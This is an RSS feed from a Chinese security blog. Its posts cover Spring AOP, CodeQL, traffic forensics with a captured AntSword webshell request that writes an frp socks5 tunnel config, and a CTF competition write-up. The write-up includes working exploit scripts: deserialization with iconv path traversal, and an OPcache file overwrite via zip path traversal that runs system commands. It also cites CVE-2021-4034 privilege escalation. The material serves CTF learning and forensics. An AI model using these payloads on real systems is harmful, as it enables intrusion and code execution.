<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet href="/rss.xsl" type="text/xsl"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>天下同春</title><description>命竭难紫府，运浅不神通</description><link>https://void2eye.top</link><item><title>C3P0利用</title><link>https://void2eye.top/posts/c3p0%E5%88%A9%E7%94%A8</link><guid isPermaLink="true">https://void2eye.top/posts/c3p0%E5%88%A9%E7%94%A8</guid><description>C3P0反序列化、jndi以及不出网利用链</description><pubDate>Wed, 13 Aug 2025 00:00:00 GMT</pubDate><content:encoded/><author>void2eye</author></item><item><title>Spring AOP链</title><link>https://void2eye.top/posts/spring-aop%E9%93%BE</link><guid isPermaLink="true">https://void2eye.top/posts/spring-aop%E9%93%BE</guid><description>Spring原生链在jdk9+下的利用</description><pubDate>Fri, 03 Oct 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;aop理论与spring对aop的实践&lt;/h1&gt;
&lt;h2&gt;aop面向切面编程的理念&lt;/h2&gt;
&lt;p&gt;AOP作为OOP的补充和完善，其最大的不同在于&lt;strong&gt;模块化的维度发生了改变&lt;/strong&gt;。OOP将系统按照业务实体封装成一个个的&lt;strong&gt;类（Class）&lt;/strong&gt;，而AOP则将那些可复用的&lt;strong&gt;通用功能&lt;/strong&gt;（如日志、事务）封装成一个个的&lt;strong&gt;切面（Aspect）&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;而我们可以把这些通用功能称为&lt;code&gt;横切关注点 (Cross-Cutting Concerns)&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;可以这么理解：登录-&amp;gt;登出 是两个独有模块，由oop来完成。&lt;/p&gt;
&lt;p&gt;而我需要的记录日志，鉴权，性能监控这些小功能便是横切关注点，想要实现便只能粗暴的将这些小逻辑穿插到每个独立模块里面去，这将导致代码分散且难以维护。&lt;/p&gt;
&lt;p&gt;而aop做的，就是将这些“横切关注点”从业务逻辑中&lt;strong&gt;抽离&lt;/strong&gt;出来，封装成独立的、可重用的模块，从而使业务代码更纯粹，系统更易于维护。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;oop是纵向分解，关注事物的“是什么”和“能做什么”&lt;/p&gt;
&lt;p&gt;aop是横向分解，关注跨越多个对象的&lt;code&gt;通用行为&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;:::important
以下都是术语和概念，中在阐述aop的思想和流程
:::&lt;/p&gt;
&lt;p&gt;aop的核心：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;切面(Aspect): aop的顶层封装，所有逻辑都在这里面实现，相当于一个&lt;code&gt;独立模块&lt;/code&gt;，通常是&lt;code&gt;一个独立的类&lt;/code&gt;。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;连接点(Join Point): 我更愿意把他称之为&lt;code&gt;“时机”&lt;/code&gt;，相当于把一个程序的完整生命周期变成一个时间线，可以规定在某一点插入切面的逻辑。比如：&lt;code&gt;userService.addUser()&lt;/code&gt;方法被调用的那一刻就是一个连接点。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;切点(Pointcut): 如果说“连接点”是程序中所有可被织入的“时机点”，那“切点”就是我们用来&lt;strong&gt;筛选&lt;/strong&gt;这些“时机点”的&lt;strong&gt;规则或表达式&lt;/strong&gt;。它精确地定义了通知（Advice）应该应用在哪些连接点上。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;通知(Advice): 定义切面的具体行为，是横切逻辑的具体实现。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;前置通知 (Before)&lt;/strong&gt;：在连接点（目标方法）执行&lt;strong&gt;之前&lt;/strong&gt;执行。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;后置通知 (After Returning)&lt;/strong&gt;：在连接点成功执行并返回结果&lt;strong&gt;之后&lt;/strong&gt;执行。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;异常通知 (After Throwing)&lt;/strong&gt;：在连接点抛出异常&lt;strong&gt;之后&lt;/strong&gt;执行。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;最终通知 (After)&lt;/strong&gt;：无论连接点是正常返回还是抛出异常，都&lt;strong&gt;最后&lt;/strong&gt;执行。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;环绕通知 (Around)&lt;/strong&gt;：功能最强大的通知，它&lt;strong&gt;包围&lt;/strong&gt;了整个连接点。你可以在其中手动控制目标方法的执行（&lt;code&gt;proceed()&lt;/code&gt;），并且可以在方法执行前后都加入自定义逻辑。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;织入(Weaving): 字面意思，把切面放到目标对象上，创建出最终的&lt;code&gt;Proxy对象&lt;/code&gt;的过程。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;编译时织入&lt;/strong&gt;：在编译源代码时，编译器直接将切面代码编译进业务类的&lt;code&gt;.class&lt;/code&gt;文件中。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;加载时织入&lt;/strong&gt;：在类加载器将&lt;code&gt;.class&lt;/code&gt;文件加载到JVM时进行织入。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;运行时织入&lt;/strong&gt;：在应用程序运行时，为目标对象动态地在内存中创建一个代理对象。&lt;strong&gt;Spring AOP采用的就是这种方式&lt;/strong&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;spring的实践&lt;/h2&gt;
&lt;p&gt;先讲讲CGLIB和 JDK动态代理的区别&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;JDK 动态代理&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;只代理 &lt;strong&gt;接口方法&lt;/strong&gt;；目标必须有接口。&lt;/li&gt;
&lt;li&gt;生成速度快、内存轻；对 final/私有方法无能为力（不在接口里）。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;CGLIB&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;code generation library，用来生成不含有代理对象&lt;code&gt;final/private/static&lt;/code&gt;方法或字段的子类。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;代理 &lt;strong&gt;具体类&lt;/strong&gt;，能拦住除 &lt;code&gt;final/private/static&lt;/code&gt; 以外的大部分实例方法。&lt;/li&gt;
&lt;li&gt;需要可见的无参构造或能被构造器路径走通（CGLIB 会调用构造器）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;final 类/方法拦不住&lt;/strong&gt;；&lt;code&gt;private&lt;/code&gt; 不是虚方法，也拦不住。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;自调用&lt;/strong&gt;：两者都拦不住（因为没经过代理）。要么重构调用路径让外部通过代理调用，要么上 &lt;strong&gt;AspectJ LTW（Instrumentation）&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;现代Spring Boot (2.0及以后)：默认统一使用CGLIB&lt;/p&gt;
&lt;p&gt;这里不介绍在正常项目里面利用注解的用法，而是为之后的springAOP链子做准备&lt;/p&gt;
&lt;p&gt;因为我们这里aop更多的是做一个触发器而不是一整套切面注入的流程，故我们要用到一些SpringAOP的实现类：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;       
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><author>void2eye</author></item><item><title>codeql学习</title><link>https://void2eye.top/posts/codeql%E5%AD%A6%E4%B9%A0</link><guid isPermaLink="true">https://void2eye.top/posts/codeql%E5%AD%A6%E4%B9%A0</guid><description>codeql的安装和语法</description><pubDate>Thu, 18 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;code安装&lt;/h1&gt;
&lt;p&gt;就需要三个东西&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;codeqlcli&lt;/li&gt;
&lt;li&gt;codeql的ql规则库&lt;a href=&quot;https://github.com/github/codeql&quot;&gt;github/codeql: CodeQL: the libraries and queries that power security researchers around the world, as well as code scanning in GitHub Advanced Security&lt;/a&gt;，放在、我是codeQL_Rule下&lt;/li&gt;
&lt;li&gt;vscode插件&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;vscoe插件设置cli的codeql.exe位置,然后你自己的ql就在\codeql_Rule\java\ql\src\mytest.ql下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;codeql database create fastj --language=java --source-root=./sources --build-mode=none
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;语法&lt;/h1&gt;
&lt;h2&gt;基础语法&lt;/h2&gt;
&lt;p&gt;骨架根sql类似&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from where select
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;重点在：&lt;/p&gt;
</content:encoded><author>void2eye</author></item><item><title>流量分析与取证</title><link>https://void2eye.top/posts/%E6%B5%81%E9%87%8F%E5%88%86%E6%9E%90%E4%B8%8E%E5%8F%96%E8%AF%81</link><guid isPermaLink="true">https://void2eye.top/posts/%E6%B5%81%E9%87%8F%E5%88%86%E6%9E%90%E4%B8%8E%E5%8F%96%E8%AF%81</guid><description>以陇剑杯伊始的流量分析取证之旅。</description><pubDate>Fri, 22 Aug 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;TCP相关&lt;/h2&gt;
&lt;p&gt;SYN：&lt;strong&gt;（Synchronize）&lt;/strong&gt; 是TCP头部中的一个控制位（flag），用于：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;连接建立&lt;/strong&gt;：发起连接请求&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;序列号同步&lt;/strong&gt;：同步双方的初始序列号&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;握手过程&lt;/strong&gt;：TCP三次握手的关键标志&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;三次握手：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;客户端                    服务器
   |                        |
   |  1. SYN seq=x          |
   |-----------------------&amp;gt;|  LISTEN状态
   |                        |  收到SYN，进入SYN_RECV状态
   |  2. SYN-ACK seq=y,ack=x+1
   |&amp;lt;-----------------------|
   |                        |
   |  3. ACK ack=y+1        |
   |-----------------------&amp;gt;|  进入ESTABLISHED状态
   |                        |
   |    连接建立完成         |
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;四次挥手：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;客户端                    服务器
   |                        |
   |  1. FIN seq=x          |
   |-----------------------&amp;gt;| 进入FIN_WAIT_1状态
   |                        |
   |  2. ACK ack=x+1        |
   |&amp;lt;-----------------------| 进入CLOSE_WAIT状态
   |                        | 进入FIN_WAIT_2状态
   |  3. FIN seq=y          |
   |&amp;lt;-----------------------| 进入LAST_ACK状态
   |                        |
   |  4. ACK ack=y+1        |
   |-----------------------&amp;gt;| 进入TIME_WAIT状态
   |                        | 服务器进入CLOSED状态
   |    等待2MSL后关闭       |
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;控制标志位&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;SYN&lt;/strong&gt;：同步，建立连接&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ACK&lt;/strong&gt;：确认，确认收到数据&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;FIN&lt;/strong&gt;：结束，终止连接&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;wireshark&lt;/h2&gt;
&lt;p&gt;可以直接右键关键字来filter，同时关注：统计-&amp;gt;协议分级等分析选项。&lt;/p&gt;
&lt;p&gt;然后就是filter的一些方便的语法&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ip.src == 192.168.1.1           # 点分十进制
ip.dst eq www.google.com        # 主机名
ip.addr == 192.168.0.0/16       # CIDR网段表示

eth.dst eq ff:ff:ff:ff:ff:ff     # 冒号分隔
eth.src == aa-aa-aa-aa-aa-aa     # 连字符分隔
eth.addr == 00.11.22.33.44.55   # 点分隔

http.request.method == &quot;GET&quot;                    # 普通字符串
http.user_agent contains &quot;Mozilla&quot;              # 包含检查
dns.qry.name matches &quot;.*\\.com$&quot;               # 正则表达式
smb.path contains r&quot;\\SERVER\SHARE&quot;            # 原始字符串（r前缀）

http.request.uri contains &quot;admin&quot;              # URL包含admin
tcp.payload contains &quot;password&quot;                # TCP负载包含password
frame contains &quot;wireshark&quot;                     # 整个帧包含wireshark

tcp.port in {80, 443, 8080}                    # 端口在指定集合中
http.request.method in {&quot;GET&quot;, &quot;POST&quot;}         # HTTP方法在集合中
tcp.port in {443, 4430..4434}                  # 包含范围的集合
ip.addr in {10.0.0.1..10.0.0.10}              # IP地址范围
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;webshell流量分析&lt;/h2&gt;
&lt;h3&gt;蚁剑&lt;/h3&gt;
&lt;p&gt;特征就是@ini_set起手&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;POST /1.php HTTP/1.1
Host: 192.168.2.197:8081
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 6.4; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Content-Length: 1072
Connection: close

@ini_set(&quot;display_errors&quot;, &quot;0&quot;);@set_time_limit(0);function asenc($out){return $out;};function asoutput(){$output=ob_get_contents();ob_end_clean();echo &quot;28&quot;.&quot;f72&quot;;echo @asenc($output);echo &quot;f486&quot;.&quot;11f4&quot;;}ob_start();try{$f=base64_decode(substr($_POST[&quot;j68071301598f&quot;],2));$c=$_POST[&quot;xa5d606e67883a&quot;];$c=str_replace(&quot;\r&quot;,&quot;&quot;,$c);$c=str_replace(&quot;\n&quot;,&quot;&quot;,$c);$buf=&quot;&quot;;for($i=0;$i&amp;lt;strlen($c);$i+=2)$buf.=urldecode(&quot;%&quot;.substr($c,$i,2));echo(@fwrite(fopen($f,&quot;a&quot;),$buf)?&quot;1&quot;:&quot;0&quot;);;}catch(Exception $e){echo &quot;ERROR://&quot;.$e-&amp;gt;getMessage();};asoutput();die();&amp;amp;j68071301598f=FBL3Zhci93d3cvaHRtbC9mcnBjLmluaQ==&amp;amp;xa5d606e67883a=5B636F6D6D6F6E5D0A7365727665725F61646472203D203139322E3136382E3233392E3132330A7365727665725F706F7274203D20373737380A746F6B656E3D586133424A66326C35656E6D4E365A3741386D760A0A5B746573745F736F636B355D0A74797065203D207463700A72656D6F74655F706F7274203D383131310A706C7567696E203D20736F636B73350A706C7567696E5F75736572203D2030484446743136634C514A0A706C7567696E5F706173737764203D204A544E32373647700A7573655F656E6372797074696F6E203D20747275650A7573655F636F6D7072657373696F6E203D20747275650A
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;前面的初始化不用管，重点关注后面几个参数&lt;/p&gt;
&lt;p&gt;注意这里&lt;code&gt;FBL3Zhci93d3cvaHRtbC9mcnBjLmluaQ==&lt;/code&gt;的处理，是substr掉头两位的&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;L3Zhci93d3cvaHRtbC9mcnBjLmluaQ== -&amp;gt; /var/www/html/frpc.ini
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;而后面的十六进制就是文件内容&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;5B636F6D6D6F6E5D0A7365727665725F61646472203D203139322E3136382E3233392E3132330A7365727665725F706F7274203D20373737380A746F6B656E3D586133424A66326C35656E6D4E365A3741386D760A0A5B746573745F736F636B355D0A74797065203D207463700A72656D6F74655F706F7274203D383131310A706C7567696E203D20736F636B73350A706C7567696E5F75736572203D2030484446743136634C514A0A706C7567696E5F706173737764203D204A544E32373647700A7573655F656E6372797074696F6E203D20747275650A7573655F636F6D7072657373696F6E203D20747275650A

[common]
server_addr = 192.168.239.123
server_port = 7778
token=Xa3BJf2l5enmN6Z7A8mv

[test_sock5]
type = tcp
remote_port =8111
plugin = socks5
plugin_user = 0HDFt16cLQJ
plugin_passwd = JTN276Gp
use_encryption = true
use_compression = true

&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;哥斯拉&lt;/h3&gt;
</content:encoded><author>void2eye</author></item><item><title>2026 ciscn&amp;ccb 浙江赛区半决赛wp</title><link>https://void2eye.top/posts/2026-ciscn%E9%95%BF%E5%9F%8E%E6%9D%AF-%E5%8D%8A%E5%86%B3%E8%B5%9B</link><guid isPermaLink="true">https://void2eye.top/posts/2026-ciscn%E9%95%BF%E5%9F%8E%E6%9D%AF-%E5%8D%8A%E5%86%B3%E8%B5%9B</guid><description>2026 ciscn&amp;ccb 浙江赛区半决赛 web方向的一些wp</description><pubDate>Mon, 23 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;AWDP&lt;/h1&gt;
&lt;h2&gt;MediaDrive&lt;/h2&gt;
&lt;h3&gt;attack&lt;/h3&gt;
&lt;p&gt;cookie完全可控，可以反序列化改user属性&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://sl0wjamz.oss-cn-hangzhou.aliyuncs.com/img/image-20260323213047202.png&quot; alt=&quot;image-20260323213047202&quot; /&gt;&lt;/p&gt;
&lt;p&gt;而preview.php可以任意文件读取&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://sl0wjamz.oss-cn-hangzhou.aliyuncs.com/img/image-20260323213223458.png&quot; alt=&quot;image-20260323213223458&quot; /&gt;&lt;/p&gt;
&lt;p&gt;而编码解码操作是在waf后的，那么可以利用反序列化来控制User的encoding和basePath参数&lt;/p&gt;
&lt;p&gt;这里提到：https://gist.github.com/Ridter/548af465ebc80806254b5a9dddab4a70  iconv在进行ISO-2022编码时，会在字符串前面强制插入 &lt;code&gt;\x1b$)C&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;就是 ISO-2022 规范要求输出必须以 &lt;code&gt;\x1b$)C&lt;/code&gt; 开头来声明字符集。&lt;/p&gt;
&lt;h4&gt;ISO-2022 转义序列结构&lt;/h4&gt;
&lt;p&gt;ISO-2022 标准定义了一套通过转义序列切换字符集的机制。转义序列的通用格式是：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ESC  中间字节(0个或多个)  终结字节(1个)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;对于 &lt;code&gt;\x1b$)C&lt;/code&gt;，拆开就是：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;字节&lt;/th&gt;
&lt;th&gt;含义&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;\x1b&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;ESC，转义序列的起始标志&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;$&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;表示目标是&lt;strong&gt;多字节字符集&lt;/strong&gt;（94x94 集合）。如果没有 &lt;code&gt;$&lt;/code&gt;，就是单字节字符集&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;表示指定到 &lt;strong&gt;G1&lt;/strong&gt; 字符集槽位。&lt;code&gt;(&lt;/code&gt; = G0，&lt;code&gt;)&lt;/code&gt; = G1，&lt;code&gt;*&lt;/code&gt; = G2，&lt;code&gt;+&lt;/code&gt; = G3&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;C&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;终结字节，标识具体是哪个字符集。&lt;code&gt;C&lt;/code&gt; =  KS X 1001 (韩文)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;所以 &lt;code&gt;\x1b$)C&lt;/code&gt; 完整意思是：&lt;strong&gt;&quot;将KS X 1001字符集指定到 G1 槽位&quot;&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;所以如果后面没有字符来激活 G1，这个序列就&lt;strong&gt;只是一个纯粹的状态指令，不产生任何输出字符&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;所以：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php

$rawPath=&quot;/../../../f\x1b$)Clag&quot;;

$convertedPath = iconv(&quot;UTF-8&quot;,&quot;ISO-2022-CN-EXT&quot;, $rawPath);
if ($convertedPath === false || $convertedPath === &quot;&quot;) {
    http_response_code(500);
    echo &quot;Conversion failed&quot;;
    exit;
}
echo $convertedPath.&quot;\n&quot;;

//  输出： /../../../flag
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;但是这里有一坑，就是选择&lt;code&gt;C&lt;/code&gt;这样还是会有残留的：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://sl0wjamz.oss-cn-hangzhou.aliyuncs.com/img/image-20260323220325145.png&quot; alt=&quot;image-20260323220325145&quot; /&gt;&lt;/p&gt;
&lt;p&gt;因为&lt;code&gt;\x1b$)C&lt;/code&gt; 是 ISO-2022-KR 的序列，ISO-2022-CN-EXT 的 iconv 不认识它所以原样保留了。&lt;/p&gt;
&lt;p&gt;而 终结字节: &lt;code&gt;A &lt;/code&gt;= GB 2312符合ISO-2022-CN-EXT&lt;/p&gt;
&lt;p&gt;换成 &lt;code&gt;A&lt;/code&gt; 就会被正确消耗。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://sl0wjamz.oss-cn-hangzhou.aliyuncs.com/img/image-20260323220844764.png&quot; alt=&quot;image-20260323220844764&quot; /&gt;&lt;/p&gt;
&lt;p&gt;exp&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
&amp;lt;?php
class User {
    public $name = &quot;guest&quot;;
    public $encoding = &quot;ISO-2022-CN-EXT&quot;;
    public $basePath = &quot;/&quot;;
}

echo serialize(new User());
// O:4:&quot;User&quot;:3:{s:4:&quot;name&quot;;s:5:&quot;guest&quot;;s:8:&quot;encoding&quot;;s:15:&quot;ISO-2022-CN-EXT&quot;;s:8:&quot;basePath&quot;;s:1:&quot;/&quot;;}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;import requests
import urllib.parse

url = &quot;http://172.18.32.222:1141/&quot;

cookie = &apos;O:4:&quot;User&quot;:3:{s:4:&quot;name&quot;;s:5:&quot;admin&quot;;s:8:&quot;encoding&quot;;s:15:&quot;ISO-2022-CN-EXT&quot;;s:8:&quot;basePath&quot;;s:1:&quot;/&quot;;}&apos;

f_param = &quot;fla&quot; + urllib.parse.quote(b&quot;\x1b$)A&quot;) + &quot;g&quot;

r = requests.get(
    f&quot;{url}preview.php?f={f_param}&quot;,
    headers={&quot;Cookie&quot;: f&quot;user={urllib.parse.quote(cookie)}&quot;}
)
print(r.text)

&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;fix&lt;/h3&gt;
&lt;p&gt;ban掉反序列化&lt;/p&gt;
&lt;p&gt;直接在读之前通防就好了&lt;/p&gt;
&lt;h2&gt;easy_time&lt;/h2&gt;
&lt;h3&gt;attack&lt;/h3&gt;
&lt;p&gt;给了两个解压函数，用了危险的那个&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://sl0wjamz.oss-cn-hangzhou.aliyuncs.com/img/image-20260323221521829.png&quot; alt=&quot;image-20260323221521829&quot; /&gt;&lt;/p&gt;
&lt;p&gt;直接从info join了，可以路径穿越。&lt;/p&gt;
&lt;p&gt;结合题目名字和他给的date.php可以拿到index.php的创建时间戳，可以判断出是打Opcache覆盖index.php + 加时间戳绕过&lt;/p&gt;
&lt;p&gt;读他的php.ini，果然如此&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://sl0wjamz.oss-cn-hangzhou.aliyuncs.com/img/image-20260323221801802.png&quot; alt=&quot;image-20260323221801802&quot; /&gt;&lt;/p&gt;
&lt;p&gt;详见&lt;a href=&quot;https://zer0peach.github.io/2024/01/17/php-Opcache%E6%8F%92%E4%BB%B6%E8%BF%9B%E8%A1%8CRCE/#php7-Opcache&quot;&gt;php Opcache插件进行RCE - Zer0peach can&apos;t think&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;因为离线起不了docker，但是他给了phpinfo，就可以算出来system_id&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
var_dump(md5(&quot;8.2.6API420220829,NTSBIN_4888(size_t)8\002&quot;));

// 8.2.6
// API420220829,NTS

// &quot;string(32) &quot;45b8be9467d6ed29438f06cfe9cee9f6&quot;&quot;

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;时间戳就可以通过/about页面的ssrf来获取&lt;/p&gt;
&lt;p&gt;exp&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import zipfile
import requests
import struct
import re
from html import unescape

base = &quot;http://localhost:5000&quot;
system_id = &quot;45b8be9467d6ed29438f06cfe9cee9f6&quot;
timestamp = 1769426974
zipname = f&quot;../../../tmp/{system_id}/var/www/html/index.php.bin&quot;

s = requests.Session()


def login():
    r = s.post(f&quot;{base}/login&quot;,
               data={&quot;username&quot;: &quot;admin&quot;, &quot;password&quot;: &quot;secret&quot;})
    print(&quot;login:&quot;, r.status_code)


def genBin():
    with open(&quot;index.php.bin&quot;, &quot;rb&quot;) as f:
        data = bytearray(f.read())
    data[0x08:0x28] = system_id.encode(&apos;ascii&apos;)
    struct.pack_into(&quot;&amp;lt;I&quot;, data, 0x40, timestamp)
    return data


def genZip():
    with zipfile.ZipFile(&quot;payload.zip&quot;, &quot;w&quot;) as zf:
        zf.writestr(zipfile.ZipInfo(zipname), genBin())
    print(&quot;zip generated&quot;)


def upload():
    with open(&quot;payload.zip&quot;, &quot;rb&quot;) as f:
        r = s.post(f&quot;{base}/plugin/upload&quot;, files={
            &quot;plugin&quot;: (&quot;payload.zip&quot;, f, &quot;application/zip&quot;)
        })
    print(&quot;upload:&quot;, r.status_code)


def trigger(cmd=&quot;system(%22whoami%22);&quot;):
    r = s.post(f&quot;{base}/about&quot;, data={
        &quot;about&quot;: &quot;x&quot;,
        &quot;avatar_url&quot;: f&quot;http://127.0.0.1:80/index.php?v2e={cmd}&quot;
    })
    match = re.search(r&apos;len=b(.*?)&amp;lt;/code&amp;gt;&apos;, r.text, re.DOTALL)
    if match:
        raw = unescape(match.group(1))
        print(raw)
    else:
        print(r.text[:500])


if __name__ == &quot;__main__&quot;:
    login()
    genZip()
    upload()
    trigger()

&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;fix&lt;/h3&gt;
&lt;p&gt;换成好的那个解压函数，但是exp利用成功，，，&lt;/p&gt;
&lt;p&gt;后面修了几次都没修好，时间太少了&lt;/p&gt;
&lt;h2&gt;wso2-lab&lt;/h2&gt;
&lt;p&gt;本地部署了一下，是wso2 4.6,然后在&lt;/p&gt;
&lt;p&gt;/home/wso2carbon/wso2am-4.6.0/repository/conf/user-mgt.xml&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://sl0wjamz.oss-cn-hangzhou.aliyuncs.com/img/image-20260323222436449.png&quot; alt=&quot;image-20260323222436449&quot; /&gt;&lt;/p&gt;
&lt;p&gt;里面有账号密码，可以登录api后台界面，就可以打h2 jdbc&lt;/p&gt;
&lt;p&gt;但是payload没打通，说请求长度太长，没时间审了，唉。&lt;/p&gt;
&lt;h1&gt;ISW&lt;/h1&gt;
&lt;h2&gt;ISW3&lt;/h2&gt;
&lt;p&gt;直接fscan扫到shiro，工具一把锁冰蝎上线拿到flag1&lt;/p&gt;
&lt;p&gt;发现有pkexec，打CVE-2021-4034提权拿到flag2&lt;/p&gt;
&lt;p&gt;据说还可以rpc-client连上去得到flag，当时没想到。&lt;/p&gt;
&lt;h2&gt;ISW1&amp;amp;2&lt;/h2&gt;
&lt;p&gt;第一台机子有路径穿越任意文件读&lt;/p&gt;
&lt;p&gt;直接爆破proc/${}/cmdline 0-999找到pico-restar.py 进而找到pico-server二进制文件&lt;/p&gt;
&lt;p&gt;两题都是pwn，被队里大手子带飞。&lt;/p&gt;
&lt;h2&gt;总结&lt;/h2&gt;
&lt;p&gt;第一次打进决赛，去年awdp爆零，队友还是太强了。&lt;/p&gt;
&lt;p&gt;总体感觉就是时间不够用&lt;/p&gt;
</content:encoded><author>void2eye</author></item><item><title>Showing Off Blog Features</title><link>https://void2eye.top/posts/showing-off-blog-features</link><guid isPermaLink="true">https://void2eye.top/posts/showing-off-blog-features</guid><pubDate>Sun, 20 Jul 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Since the post does not have a description in the frontmatter, the first paragraph is used.&lt;/p&gt;
&lt;h2&gt;Theming&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Use your favorite editor theme for your blog!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Theming for the website comes from builtin Shiki themes found in Expressive Code. You can view them &lt;a href=&quot;https://expressive-code.com/guides/themes/#available-themes&quot;&gt;here&lt;/a&gt;. A website can have one or more themes, defined in &lt;code&gt;src/site.config.ts&lt;/code&gt;. There are three theming modes to choose from:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;single&lt;/code&gt;: Choose a single theme for the website. Simple.&lt;/li&gt;
